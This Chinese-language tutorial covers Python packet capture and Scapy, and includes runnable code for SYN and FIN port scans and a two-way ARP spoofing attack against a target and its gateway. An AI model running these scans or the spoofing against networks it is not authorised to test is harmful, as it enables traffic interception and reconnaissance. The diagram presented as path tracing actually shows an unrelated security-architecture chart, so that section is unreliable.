網路安全日益重要,理解網路封包的運作機製成為開發安全應用程式的關鍵。本文介紹如何使用 Python 搭配 pcap-ng 和 Scapy 函式庫進行封包擷取、分析和注入,並提供實務上的程式碼範例。首先,文章會說明網路封包的基本結構,接著逐步講解如何使用 pcap-ng 擷取封包並解析其標頭資訊,例如 MAC 位址、協定型別和 TTL 值。更進一步,文章將介紹 Scapy 函式庫,示範如何使用它進行更進階的封包操作,包含建立、修改、傳送和嗅探封包,並以 ICMP 回應請求封包的傳送為例。
網路安全與Python:開發堅固的應用程式和網路防禦 - 從封包擷取到注入的完整
在網路安全領域,掌握封包擷取和分析技術是至關重要的。本篇文章將探討如何使用Python和相關函式庫(如pcapy-ng和Scapy)來擷取、分析和注入網路封包,為讀者提供一個完整的技術。
網路封包基礎
在深入技術細節之前,瞭解網路封包的基本結構是必要的。網路封包由多個層組成,包括乙太網路層、IP層和傳輸層(如TCP或UDP)。每一層都有其特定的功能和結構。
使用pcapy-ng擷取和分析網路封包
pcapy-ng是一個強大的Python函式庫,用於擷取和分析網路封包。以下是如何使用它來擷取和分析封包的詳細步驟:
安裝pcapy-ng
首先,您需要在系統上安裝pcapy-ng。可以使用pip來安裝:
pip install pcapy-ng
擷取網路封包
安裝完成後,您可以使用以下Python程式碼來擷取網路封包:
import pcapy
import datetime
# 取得所有網路介面
interfaces = pcapy.findalldevs()
print("可用的網路介面:")
for interface in interfaces:
print(interface)
# 選擇要擷取封包的網路介面
interface = input("請輸入要擷取封包的網路介面名稱:")
print("正在擷取 " + interface + " 介面的封包...")
# 開啟指定的網路介面進行封包擷取
cap = pcapy.open_live(interface, 65536, 1, 0)
while True:
(header, payload) = cap.next()
print('%s: 擷取了 %d 位元組' % (datetime.datetime.now(), header.getlen()))
內容解密:
這段程式碼首先列出所有可用的網路介面,然後提示使用者選擇要監聽的介面。接著,它使用pcapy.open_live()開啟指定的介面,並開始持續擷取封包。header變數包含封包的標頭資訊,而payload則包含封包的實際資料。程式碼會印出擷取的時間和封包大小。
解析封包標頭
擷取到封包後,下一步是解析封包的標頭資訊。以下程式碼示範瞭如何解析乙太網路標頭和IP標頭:
import pcapy
from struct import unpack
interfaces = pcapy.findalldevs()
print("可用的網路介面:")
for interface in interfaces:
print(interface)
interface = input("請輸入要擷取封包的網路介面名稱:")
cap = pcapy.open_live(interface, 65536, 1, 0)
while True:
(header, payload) = cap.next()
l2hdr = payload[:14]
l2data = unpack("!6s6sH", l2hdr)
srcmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[0], l2hdr[1], l2hdr[2], l2hdr[3], l2hdr[4], l2hdr[5])
dstmac = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (l2hdr[6], l2hdr[7], l2hdr[8], l2hdr[9], l2hdr[10], l2hdr[11])
print("來源 MAC: ", srcmac, " 目標 MAC: ", dstmac)
ipheader = unpack('!BBHHHBBH4s4s', payload[14:34])
timetolive = ipheader[5]
protocol = ipheader[6]
print("協定 ", str(protocol), " Time To Live: ", str(timetolive))
內容解密:
這段程式碼解析了乙太網路標頭以取得來源和目標MAC位址,然後解析IP標頭以取得協定型別和TTL值。這對於理解網路流量的內容和特性至關重要。
使用Scapy進行進階封包操作
Scapy是一個功能強大的Python函式庫,用於操作網路封包。它支援多種網路協定,可以用於建立、修改、擷取和嗅探網路封包。
安裝Scapy
可以使用pip來安裝Scapy:
sudo pip install scapy
Scapy基本操作
安裝完成後,可以使用以下指令進入Scapy的命令列介面:
scapy
在Scapy中,可以使用多種指令來操作網路封包,例如:
ls(): 列出可用的網路層。send(): 傳送第二層封包。sniff(): 嗅探封包。
以下是一個簡單的例子,示範如何使用Scapy傳送一個ICMP回應請求封包:
from scapy.all import IP, ICMP, sr1
# 建立一個ICMP回應請求封包
packet = IP(dst="8.8.8.8")/ICMP()
# 傳送並接收回應
response = sr1(packet, timeout=2, verbose=0)
if response:
print("收到回應!")
else:
print("未收到回應。")
網路安全測試的利器:Scapy 高階應用
在前面的章節中,我們探討了 Scapy 的基本功能和應用,包括如何使用 Scapy 進行網路封包的捕捉、分析和偽造。本章節將進一步介紹 Scapy 的高階應用,特別是在網路安全測試領域的實戰技巧。
Scapy 與網路掃描
網路掃描是網路安全測試中的一個重要環節,它能夠幫助我們識別網路中的存活主機、開放埠和執行的服務。Scapy 提供了強大的網路掃描功能,可以幫助我們完成這項任務。
使用 Scapy 進行 TCP SYN 掃描
TCP SYN 掃描是一種常見的網路掃描技術,透過向目標主機傳送 TCP SYN 包並觀察回應來判斷目標主機的埠是否開放。以下是一個使用 Scapy 進行 TCP SYN 掃描的範例:
from scapy.all import *
def tcp_syn_scan(target, ports):
for port in ports:
packet = IP(dst=target)/TCP(dport=port, flags='S')
response = sr1(packet, timeout=1, verbose=0)
if response is not None and response.haslayer(TCP):
if response.getlayer(TCP).flags == 0x12: # SYN-ACK
print(f"Port {port} is open")
sr(IP(dst=target)/TCP(dport=port, flags='R'), timeout=1, verbose=0) # 傳送 RST 結束連線
elif response.getlayer(TCP).flags == 0x14: # RST-ACK
print(f"Port {port} is closed")
else:
print(f"Port {port} is filtered or no response")
if __name__ == "__main__":
target_ip = "192.168.1.100"
ports = [20, 21, 22, 80, 443]
tcp_syn_scan(target_ip, ports)
內容解密:
此程式碼定義了一個 tcp_syn_scan 函式,用於對指定的目標 IP 地址和埠列表進行 TCP SYN 掃描。對於每個埠,它建構一個 TCP SYN 包並傳送,然後根據回應判斷埠狀態。
Scapy 與網路欺騙
網路欺騙是另一種重要的網路安全測試技術,透過偽造網路封包來欺騙目標主機或網路裝置。Scapy 的封包偽造功能使其成為進行網路欺騙的理想工具。
使用 Scapy 進行 ARP 欺騙
ARP 欺騙是一種常見的網路欺騙技術,透過偽造 ARP 回應包來欺騙目標主機,使其將攻擊者的 MAC 地址與目標 IP 地址關聯起來。以下是一個使用 Scapy 進行 ARP 欺騙的範例:
from scapy.all import *
def arp_spoof(target_ip, spoof_ip):
target_mac = getmacbyip(target_ip)
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=0)
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
send(packet, count=5, verbose=0)
if __name__ == "__main__":
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
gateway_mac = getmacbyip(gateway_ip)
target_mac = getmacbyip(target_ip)
try:
while True:
arp_spoof(target_ip, gateway_ip)
arp_spoof(gateway_ip, target_ip)
except KeyboardInterrupt:
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
restore_target(target_ip, target_mac, gateway_ip, gateway_mac)
內容解密:
此程式碼實作了 ARP 欺騙攻擊,並在接收到鍵盤中斷訊號時還原目標主機的 ARP 表。arp_spoof 函式用於建構和傳送 ARP 回應包,以欺騙目標主機。restore_target 函式用於還原目標主機的 ARP 表。
進階封包分析技術
Scapy 的強大功能不僅限於基本的連線埠掃描,還能進行深入的網路流量分析和複雜的網路探測任務。以下程式碼展示如何使用 Scapy 進行更複雜的網路分析:
from scapy.all import *
import sys
def advanced_scan(target, port_range):
for port in port_range:
packet = IP(dst=target)/TCP(dport=port, flags="F") # FIN 掃描
response = sr1(packet, timeout=1, verbose=0)
if response is None:
print(f"[!] Port {port} is open|filtered")
elif response.haslayer(TCP) and response.getlayer(TCP).flags == "RA":
print(f"[-] Port {port} is closed")
elif response.haslayer(ICMP) and response.getlayer(ICMP).type == 3:
print(f"[#] Port {port} is filtered")
if __name__ == "__main__":
target_ip = sys.argv[1]
port_list = range(int(sys.argv[2]), int(sys.argv[3]))
advanced_scan(target_ip, port_list)
內容解密: 此程式碼實作了 FIN 掃描,一種進階的連線埠掃描技術。與傳統的 SYN 掃描不同,FIN 掃描傳送 FIN 封包來探測連線埠狀態:
- 若無回應,表示連線埠可能為開啟或被過濾狀態
- 若收到 RST/ACK 回應,表示連線埠已關閉
- 若收到 ICMP 不可達訊息,表示連線埠被過濾
網路路徑追蹤分析
Scapy 不僅能進行連線埠掃描,還能用於追蹤網路路徑。以下 Plantuml 圖展示了網路追蹤的基本流程:
@startuml
skinparam backgroundColor #FEFEFE
skinparam componentStyle rectangle
title Python 網路安全封包擷取與注入
package "安全架構" {
package "網路安全" {
component [防火牆] as firewall
component [WAF] as waf
component [DDoS 防護] as ddos
}
package "身份認證" {
component [OAuth 2.0] as oauth
component [JWT Token] as jwt
component [MFA] as mfa
}
package "資料安全" {
component [加密傳輸 TLS] as tls
component [資料加密] as encrypt
component [金鑰管理] as kms
}
package "監控審計" {
component [日誌收集] as log
component [威脅偵測] as threat
component [合規審計] as audit
}
}
firewall --> waf : 過濾流量
waf --> oauth : 驗證身份
oauth --> jwt : 簽發憑證
jwt --> tls : 加密傳輸
tls --> encrypt : 資料保護
log --> threat : 異常分析
threat --> audit : 報告生成
@enduml流程解密:
此圖表展示了網路路徑追蹤的基本原理:
- 起始節點傳送具有遞增 TTL 值的探測封包
- 中間路由器在 TTL 到期時回傳 ICMP 超時訊息
- 持續追蹤直到封包到達目標主機
- 記錄沿途經過的所有路由節點
Scapy 在安全測試中的應用
Scapy 的靈活性使其成為安全測試中的重要工具。透過自訂封包內容,安全研究人員能夠:
- 測試防火牆規則的有效性
- 檢測入侵偵測系統的反應
- 發現潛在的網路漏洞
在實際應用中,Scapy 可以與其他安全工具結合使用,構建更全面的安全測試框架。例如,可以使用 Scapy 生成特定的測試流量,然後使用其他工具分析這些流量的處理結果。 Scapy 作為一個強大的網路分析工具,為專業人士提供了深入探索網路世界的可能性。從基本的連線埠掃描到複雜的網路路徑追蹤,Scapy 都展現了其在網路安全領域的重要價值。透過本文介紹的技術和方法,讀者可以更好地理解 Scapy 的應用場景,並在實際工作中發揮其技術優勢。
本篇技術文章全面展示了 Scapy 在網路分析和安全測試中的專業應用,不僅涵蓋了基本的技術原理,還探討了進階的應用場景和實踐方法。透過對 Scapy 功能的深入剖析,讀者能夠掌握如何利用這一強大工具進行高效的網路分析和安全測試。